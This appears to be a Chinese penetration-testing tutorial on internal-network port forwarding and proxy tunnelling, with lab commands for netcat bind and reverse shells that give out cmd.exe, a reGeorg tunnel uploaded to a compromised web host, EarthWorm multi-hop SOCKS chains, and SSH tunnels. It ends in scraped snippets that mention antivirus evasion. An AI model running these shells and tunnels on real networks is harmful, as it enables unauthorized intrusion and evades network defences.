lcx端口转发linux_技术干货 | 内网渗透之代理转发

article/2025/8/24 5:27:33

94553a22446739ecb4f2a19151670b3f.png

1 前言

谈到内网转发,在我们日常的渗透测试过程中经常会用到端口转发,可以利用代理脚本将内网的流量代理到本地进行访问,这样极大的方便了我们对内网进行横向渗透。

那为什么不直接通过登陆服务器来对内网中其他机器进行渗透,而是通过内网转发呢?意义何在呢?

f6e07875abcb00e1c8e5f12bcfbe28c7.png

因为.........

大部分时候拿到权限不够,无法直接登录。

而且如果在内网服务器中进行操作,我们需要上传工具进行很多操作,如果服务器缺少对应的环境变量或者组件,会导致渗透受阻。

而且直接远程登录会留下比较明显的痕迹。

因此内网转发是我们最好的选择,在本地进行操作是最方便的,也比较安全~~~

说这么多,不知道大家有没有听过"代理"这个词,这个东西和我们要说的内网转发有很大的关系~

2 正向和反向代理

那接下来咱们唠一下什么是正向/反向代理?

正向代理中,Proxy和Client同属一个区域,对Server是透明的;反向代理中,Proxy和Server同属一个区域,对Client透明。但其实这不管是正向还是反向代理都有一个共同的特点,都是代替收发请求和响应,不过从结构上来看正好左右互换了下,所以把前者那种代理方式叫做正向代理,后面那个玩意叫做反向代理。

ee0d5d0965bb3e93102b0565fde65e52.png

2.1正向代理(Forward Proxy)

1e10b1b9a667c32265212a5892826d98.png

Lhost- ->proxy-->Rhost

Lhost为了访问到Rhost,向proxy发送了一个请求并且指定目标是Rhost,然后proxy向Rhost转交请求并将获得的内容返回给Lhost,简单来说正向代理就是proxy代替了我们去访问Rhost。

2.2反向代理(Reverse Proxy)

4b246ade852505298194f87634111159.png

LhostproxyfirewallRhost

和正向代理相反(废话),一般情况下,防火墙肯定不能让外网机器随便访问地访问内网机器,所以就提出反向代理。

Lhost只向proxy发送普通的请求,具体让他转到哪里,proxy自己判断,然后将返回的数据递交回来,这样的好处就是在某些防火墙只允许proxy数据进出的时候可以有效的进行穿透。

ac2b054af41efbaa839ac2b4dcf96240.png

简单区分

正向代理的是客户端,反向代理的是服务端,可以理解为正向代理是就比如年少时期喜欢那个Ta,当时很羞涩需要我自己(Lhost)写一份信(proxy)去告诉Ta,反向代理就是喜欢的那个Ta(Rhost)知道并且主动(proxy)过来告诉自己(Lhost)。

有人要问了,代理本质又是基于什么"何方神圣"呢?

那就是Socks协议~~

3 Socks协议

什么是Socks协议??

中文意思:防火墙安全会话转换协议,工作在OSI参考模型的第5层(会话层)。

75424b2ba108128cd17794e0824b11f9.png

它是一种可以穿透防火墙的协议,很多场景都会用到。比如Fan墙,你们懂得~~

因为Socks介于传输层与表示层之间,使用TCP协议传输数据,因而不提供如传递ICMP信息之类的网络层相关服务。

目前有两个版本:SOCKS4和SOCKS5

SOCKS4支持TELNET、FTPHTTP等TCP协议;

SOCKS5支持TCP与UDP,并支持安全认证方案。

Ps: Socks不支持ICMP,不能使用ping命令。。记住哦~~~

当然啦,基于socks的转发代理有很多的实用的小工具,少侠看图吧~

常见的转发工具及不同平台的代理链工具:

ed75d365db1d7e09f8750017b5eb0a85.png

这些工具能对我们内网横向渗透产生什么效果呢?接下来就开始进行一波模拟实战吧~

5087337cbba9d97322f3536036e77d40.png

4 Natcat

让我们的神器出手--瑞士军刀,也叫NC,小巧强悍,主要作用就是用来反弹shell。

主机A:192.168.153.138

主机B:192.168.153.140

正向连接

在主机A执行nc -l -p 5555 -t -e cmd.exe

-t是通过telnet模式执行 cmd.exe 程序,可以省略。

a6968ad66d19396534f4ff6ed7e1111b.png

在主机B执行nc -nvv 192.168.153.138 5555:

ce16f4e0dc5cd11c1c8b34580658ca78.png

反向连接

在主机B监听nc -lp 5555:

389aadd395ccc262b89df3e932995dde.png

在主机A反弹nc -t -e cmd 192.168.153.140 5555:

8e167a83049d72ddb8dad53e028fb019.png

5 reGeorg+Proxychains

reGeorg是reDuh的升级版,主要是把内网服务器的端口通过http/https隧道转发到本机。

1.上传reGeorg的tunnel.jsp到web主机A。访问链接,并转发到本地端口。

dca5e74e51fb5f5c3bea019416a0138b.png

主机B以python环境运行:

python reGeorgSocksProxy.py -p 1080 -u http://192.168.153.137/tunnel.jsp

6f638167e5ab51296c4bf675ff4a2195.png

使用设置proxychains的代理端口,进行访问,一般配合nmap和metasploit进行后续内网渗透。

Ps:socks4版本协议不支持udp和icmp协议,所以使用nmap要加上-sT -Pn即使用tcp协议且不使用icmp协议。

dcea5e2d570de4dc8b488c288777b376.png

6 Earthworm+Proxychains

EW 是一套便携式的网络穿透工具,具有SOCKSv5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。

该工具能够以"正向"、"反向"、"多级级联"等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。

支持 Linux、Windows、MacOS、Arm-Linux 均被包括其内,强烈推荐使用。

0fa2a155069b1fccc9f4b094f2a20cda.png

该工具借用了 ssocks 和 lcx.exe 的操作逻辑,并进行更多的功能强化。

目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:

ssocksd rcsocks rssocks

lcx_slave lcx_tran lcx_listen

其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。

其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。

lcx 类别管道:

lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。

lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。

lcx_listen 该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。

通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。

6.1 正向SOCKS5服务器

当目标网络边界存在公网IP且可任意开监听端口:

./ew_for_Win.exe -s ssocksd -l 8888

530261ff25e54a895750e6d78f7746a6.png

上述命令是在该机器(192.168.153.140)开启一个8888的正向连接端口。

然后其它主机可通过设置代理为192.168.153.140:8888添加这个代理,这里使用的是proxychains。

df23a739235a99be92ed3ae3c30b7981.png

6.2 反弹SOCKS5服务器

当目标网络边界不存在公网IP,通过反弹方式创建socks代理。

先在一台具有公网 ip 的主机A上运行以下命令:

./ew_for_linux64 -s rcsocks -l 1080 -e 8888

bbd2c020145958abb3a887288ad7d07c.png

意思是在我们公网VPS上添加一个转接隧道,把1080端口收到的代理请求转交给8888端口。

在目标主机B上启动SOCKS5服务 并反弹到公网主机的8888端口:

ew_for_Win.exe -s rssocks -d 192.168.153.129 -e 8888

9766d95398f215cef05f149f5263a505.png

本地主机(192.168.153.129)然后通过添加公网192.168.153.129:1080这个代理,来访问内网机器(192.168.153.129)

当然如果本地主机如果是公网ip,就可以把在公网执行的步骤放在本地执行即可。

0d631a882596a3801ed2ab3ebbc6a6b7.png

6.3 二级网络环境(有公网IP)

假设我们获得了右侧A主机和B主机的控制权限,A主机配有2块网卡,一块10.129.72.168连通外网,一块192.168.153.140只能连接内网B主机,无法访问内网其它资源。B主机可以访问内网资源,但无法访问外网。

0a73dd116def583716ac7d0c58aa60da.png

先上传ew到B主机,利用ssocksd方式启动8888端口的SOCKS代理,命令如下:

ew_for_Win.exe -s ssocksd -l 8888

然后在A主机执行:

ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.153.138 -g 8888

2f6dd3c4f26b584d348da3b775868e46.png

含义是将1080端口收到的代理请求转交给B主机(192.168.153.138)的8888端口。

然后MyPc就可以通过A的外网代理10.129.72.168:1080访问B。

88293ac9889d6c584a1d75dbf1c6e725.png

6.4 二级网络环境(无公网IP)

假设我们获得了右侧A主机和B主机的控制权限,A主机(NAT)没有公网IP,也无法访问内网资源。B主机可以访问内网资源,但无法访问外网。

1e876339fc495c28586d720d2178c7a2.png

这次操作有四步:

1.在公网vps(45.xxx.xxx.72)添加转接隧道,将10800端口收到的代理请求转交给8888端口;

./ew_for_linux64 -s lcx_listen -l 10800 -e 8888

be168aaac5cb7067a94f7dc2a1879e45.png

2.B主机(192.168.153.138)主机正向开启8888端口;

./ew_for_Win.exe -s ssocksd -l 9999

dcf36ba57c2fdf4acff94c653cc185f7.png

3.A主机利用lcx_slave方式,将公网VPS的888端口和B主机的999端口连接起来;

./ew_for_Win.exe -s lcx_slave -d 45.xxx.xxx.72 -e 8888 -f192.168.153.138 -g 9999

6e11d9fc002cd2838d0b7b25e9183c13.png

4.现在MyPC可通过访问45.xxx.xxx.72:10800来使用192.168.153.138主机提供的socks5代理,代理成功,vps会有rssockscmd_socket OK!提示。

34baf6c56784e0c1f1be2b59ab15530d.png

b7c560dc36c9db51660e8b63b0ecdd1c.png

7 ssh隧道代理转发

ssh有三个强大的端口转发命令,分别是本地转发、远程转发、动态转发。

socks代理:

ssh -qTfnN -D port remotehost

参数详解:

-C 允许压缩数据

-q 安静模式

-T不占用 shell

-f 后台运行,并推荐加上 -n 参数

-N不执行远程命令

-g允许远端主机连接本地转发的端口

-n把 stdin 重定向到 /dev/null (防止从 stdin 读取数据)

-L port:host :hostport 正向代理

//将本地机(客户机)的某个端口转发到远端指定机器的指定端口

-R port:host :hostport 反向代理

//将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口

-D port socks5代理

//指定一个本地机器 "动态" 应用程序端口转发。

7.1 ssh本地转发

远程管理服务器上的mysql,mysql不能直接root用户远程登陆。这时候就可以通过本地转发,通过ssh将服务器的3306端口转发到本地1234端口实现以root用户远程登陆mysql。

ssh -CfNg -L :::用户名@跳板IP(A)

ssh -CfNg -L 1234:127.0.0.1:3306 root@45.XX.XX.X21

b008eb786acba7a34f718376cfed9c4e.png

7.2 ssh远程转发

内网的服务器,外网不能直接访问,使用远程转发,将内网的服务器端口转发到外网端口。这时候访问外网的端口,就可以直接访问到了内网的端口。

ssh -CfNg -R :: 用户名@本地IP

ssh -CfNg -R 81:127.0.0.1:80 root@192.168.153.142

cfddc8c92582770db3d5f69f457bb5ba.png

现在在192.168.153.142访问127.0.0.1:81就是访问内网的服务器的80端口。

2044501fb37e06fff65178dc636854c9.png

7.3 ssh动态转发

远端服务器有限制隔离,本地主机无法直接访问,需要将一台可以访问远端服务器的主机作为跳板,设置为代理端,来代理访问不能访问的资源。

ssh -qTfnN -D 用户名@跳板IP(A)

ssh -qTfnN -D 1080 root@45.XX.XX.X21

807f6b71008268302e52cb07f605755e.png

本地Proxychains配置socks4 127.0.0.1:1080。

d4d20783b88d62382775be05d2c4756d.png

5e33f3fa319fabd504ea194a4aefff60.png

报名参加EISS2020北京站

392343111f26246a216818c9ec1186ae.png

0a2a90ea403b43fd75dd4ee1e9925f14.png


http://chatgpt.dhexx.cn/article/vQoEHC7i.shtml

相关文章

lcx用法

lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap Windows版使用方法如下: lcx有两大功能: 1)端口转发(listen和slave成对使用) 2)端口映射(tran) 1、lcx 内网…

lcx端口转发

lcx端口转发: 本文主要通过讲解lcx的本地端口及远程端口转发,让能熟练使用lcx端口转发工具,对端口转发知识有更加深入了解,本次实验靶场来源于暗月(moonsec)师傅,本文内容全由本人通过学习理解编制,文中若有错处&…

LCX端⼝转发

LCX是一款十分经典的内网端口转发工具,基于Socket套接字,具有端口转发和端口映射的功能。但是目前很多杀软已经将其加入了特征库,在实际利用的时候需要自行做免杀处理。 lcx有三个功能: 第一个功能将本地端口转发到本地另一个端口…

网络安全——lcx的使用

lcx程序可以作远程连接,入侵靶机 下面用win7系统和2003系统作对象 1、 Win7系统作攻击机(IP:192.168.184.134) 2003系统作靶机(被攻击的对象)(IP:192.168.184.101) …

lcx使用方法

lcx实现端口转发 概念 比较经典的就是lcx。简单说一下概念,首先内网中的主机一般都是使用的私有ip,在网络出口处经过NAT转换为公网ip后,才能访问internet。 所以,有时当我们进入网站后台cmd,或者捕获了一台内网中的肉…

端口转发之 lcx

lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap Windows版使用方法如下: lcx有两大功能: 1)端口转发(listen和slave成对使用) 2)端口映射(tran) 1、lcx 内网…

远程桌面连接:使用lcx进行端口转发

一、lcx介绍 lcx是一个基于Socket套接字实现的端口转发工具,有Linux和Windows两个版本。比如说,当目标机器开放了3389端口,我们可以将目标机器的3389端口转发到我们自己的外网主机上的某个端口,然后我们在本地机访问外网主机的端…

从服务器下载文件到本地

今天在公司服务器下了一个很大的数据文件(8G),想拉到本地。 环境 本地是Windows,服务器Linux。笔记本刚格式化了,所以碰到了一些之前没有的问题。 过程 1.首先尝试直接winR,输入cmd回车,打开命令行&…

从服务器中下载文件

从服务器中下载文件 本篇博客主要是实现从云服务器中的Linux系统中通过指令下载文件,其具体如下 1、tar -cvzf 压缩包名.tar.gz 文件或文件夹 1.1 指令解释 tar 对多个文件或文件夹进行打包/解包,并且可以进行压缩/解压缩-c 打包; -x 解…

linux上传下载文件

上传下载文件 背景: 通常,我们需要上传本地文件到服务器,或者从服务器下载文件到本地。 一般来说,方法多种多样。我们可以通过SCRT提供的一个辅助工具来进行 下载辅助工具 yum -y install lrzsz命令行 sz # 从服务器下载某文件到…

文件 - 04 下载文件: 根据文件下载链接下载文件

文章目录 1. 根据下载链接下载文件2. 根据下载链接下载文件1. 根据token获取存放在redis中的fileId2. 根据fileId获得文件信息3. 确定用户拥有操作这个fileId的权限4. 获取文件在服务器的存储路径5. 如果用户指定了下载时的文件名则处理文件名6. 验证文件路径是否存在7. 下载文…

文件上传、下载

在Web应用系统开发中,文件上传和下载功能是非常常用的功能,今天来讲一下JavaWeb中的文件上传和下载功能的实现。 对于文件上传,浏览器在上传的过程中是将文件以流的形式提交到服务器端的,如果直接使用Servlet获取上传文件的输入流…

文件下载相关

下载文件的时候,返回报文里缺失响应码,原因:报文头在报文体前面,报文体一旦确定,响应头信息就不能被修改或添加了,但是如果文件流字节数小于等于8192*2的话,文件流内容会被默认加载在缓存中&…

Linux 如何从网上下载文件

镜像下载、域名解析、时间同步请点击 阿里云开源镜像站 将网络上的文件下载到使用 Linux 操作系统的计算机上,需要用到 wget 指令,使用该指令可能会面临两个问题。 首先,如何获取文件的下载 url?这需要你在浏览器上找到要下载文…

github怎么下载文件

在浏览器上打开github主站,点击搜索框。输入关键字搜索自己需要的代码文件,搜索到后点击打开文件库的主分支。 点击右边的code按钮。点击下拉菜单的下载按钮就可以下载文件了。

前端下载文件的几种方式

一、a标签download下载 后端返回一个可下载的url文件,或者前端本地保存的文件,通过路径引入下载。 (1)将资源放入前端本地保存,打包后随一起上传自服务器 // 本地资源下载,引入路径即可,这里的路径指的是…

这里有11种方法,供你用Python下载文件

今天我们一起学习如何使用不同的Python模块从web下载文件。此外,你将下载常规文件、web页面、Amazon S3和其他资源。 最后,你将学习如何克服可能遇到的各种挑战,例如下载重定向的文件、下载大型文件、完成一个多线程下载以及其他策略。 1、使…

15种下载文件的方法

转载:https://blog.netspi.com/15-ways-to-download-a-file/ 瑞恩甘德鲁德 原创时间:2014年6月16日 Pentesters经常将文件上传到受感染的盒子以帮助进行权限提升,或者保持在计算机上的存在。本博客将介绍将文件从您的计算机移动到受感染系统的…

【基础知识】---概率密度函数和似然函数的区别

这个是quora上的一个回答 What is the difference between probability and likelihood? 在评论中这位老师将概率密度函数和似然函数之间的关系,类比成 2b 和 a2 之间的关系。详细翻译如下: 2我们可以做一个类比,假设一个函数为 ab&#x…

概率论考点之多维随机变量及密度函数

如题:2019年10月 分析:概率论是最初要考的一个科目,看了好几遍了吧,总还是没印象。可见别人讲得再天花乱坠,自己不懂,一点用都没有,白白浪费时间。知识,要靠自己去掌握。 还是借此顺…